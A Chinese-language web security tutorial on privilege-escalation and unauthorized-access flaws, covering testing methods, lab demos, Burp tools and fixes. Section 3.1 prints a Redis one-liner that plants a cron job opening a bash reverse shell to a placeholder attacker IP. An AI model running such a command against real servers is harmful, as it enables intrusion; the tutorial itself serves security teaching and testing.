[红日安全]Web安全Day7 - 越权非授权访问实战攻防
字数 1664 2025-08-18 11:39:19
Web安全实战:越权与非授权访问漏洞攻防详解
一、漏洞概述
1.1 越权漏洞定义
越权漏洞是指用户能够操作超出自身管理权限范围的功能,执行非授权操作的安全问题。主要分为两类:
- 垂直越权:低权限用户执行高权限用户功能
- 水平越权:同级用户间互相访问敏感信息或执行操作
1.2 未授权访问定义
未授权访问是指在不进行请求授权的情况下访问需要权限的功能,通常由认证缺陷、无认证或安全配置不当导致。
二、漏洞原理与危害
2.1 漏洞产生原因
- 系统对用户限制不全或无限制
- 未对功能访问做权限校验或限制不全
- 仅对部分功能和操作做限制
2.2 漏洞危害
- 未授权访问危害:
- 泄露用户/系统信息
- 执行系统命令
- 操作系统文件
- 越权危害:
- 垂直越权:获取高权限账号信息,执行高权限操作
- 水平越权:访问同级用户敏感信息,执行修改/删除等操作
三、常见未授权服务漏洞
3.1 Redis未授权访问
- 默认端口:6379
- 利用方式:
redis-cli -h 目标IP set x "\n*bash -i >& /dev/tcp/攻击IP/端口 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
3.2 Jenkins未授权访问
- 默认端口:8080
- 危险路径:
/manage/script(可执行系统命令)
3.3 MongoDB未授权访问
- 默认端口:27017
- 风险:无需密码即可对数据库进行增删改查
3.4 Memcache未授权访问
- 默认端口:11211
- 风险:直接读取缓存中的敏感信息
四、越权漏洞测试方法
4.1 基于用户ID的越权
- 测试方法:
- 遍历用户ID参数:
?user_id=10001 - 注册新用户测试
- 使用Burp随机数爆破
- 遍历用户ID参数:
4.2 基于功能对象ID的越权
- 测试方法:
- 遍历订单号:
?user_order=100001 - 尝试BASE64/MD5解码
- 注册新账号下单测试
- 遍历订单号:
4.3 基于上传文件对象ID的越权
- 测试方法:
- 遍历文件ID:
?fileid=10001 - 分析文件名命名规则
- 注册新用户上传测试
- 遍历文件ID:
4.4 基于未授权访问的越权
- 测试方法:
- 直接访问需认证的URL
- 检查是否绕过Session验证
4.5 基于功能地址的越权
- 测试方法:
- 猜测功能路径:
/getuserorder.php、/adduser.php - 尝试英文拼接的常见功能名
- 猜测功能路径:
4.6 基于接口身份的越权
- 测试方法:
- 修改请求中的用户ID参数
- 配合其他越权漏洞验证
五、靶场实战演示
5.1 Webug4.0越权修改密码
-
环境搭建:
- 导入SQL文件到数据库
- 修改
dbconfig和dbconn配置 - 修正
cross_auth_passwd.php路径
-
漏洞利用:
- 正常修改自己密码抓包
- 修改请求中的用户ID参数
- 无需验证旧密码即可修改他人密码
5.2 PHPCMS前台任意修改用户信息
-
漏洞原理:
- 密码重置功能未绑定验证码与账号
- 仅验证验证码有效性
-
利用步骤:
- 为test1用户获取邮箱验证码
- 使用验证码修改test2用户密码
- 成功登录test2账户
六、测试工具
6.1 Burp插件Authz
- 安装:通过BApp Store安装
- 使用方法:
- 获取两个用户的Cookie
- 发送请求到Authz
- 比较响应差异
6.2 AuthMatrix
- 更复杂的越权检测工具
- 支持多用户、Token替换等高级功能
七、漏洞修复方案
-
参数验证:
- 验证前端获取的用户ID和角色权限
- 对返回数据的参数进行权限校验
-
地址设计:
- 使用不可预测的特定链接地址
- 如:
getuserinfo_snhx.php
-
操作验证:
- 根据Session判断用户身份
- 参数只传输修改的用户信息
-
权限区分:
- 不使用相同参数区分用户和管理员
-
查询限制:
- 对每次请求参数做用户身份校验
-
验证码绑定:
- 将验证码与账号/手机号/邮箱绑定
- 执行修改时验证对应关系
八、总结
越权与非授权访问漏洞是Web安全中常见的高风险问题,攻击者利用这些漏洞可以获取敏感信息或执行未授权操作。防御关键在于严格的权限校验、参数验证和安全配置。通过本文介绍的各种测试方法和修复方案,开发人员和安全工程师可以更好地识别和防范此类安全风险。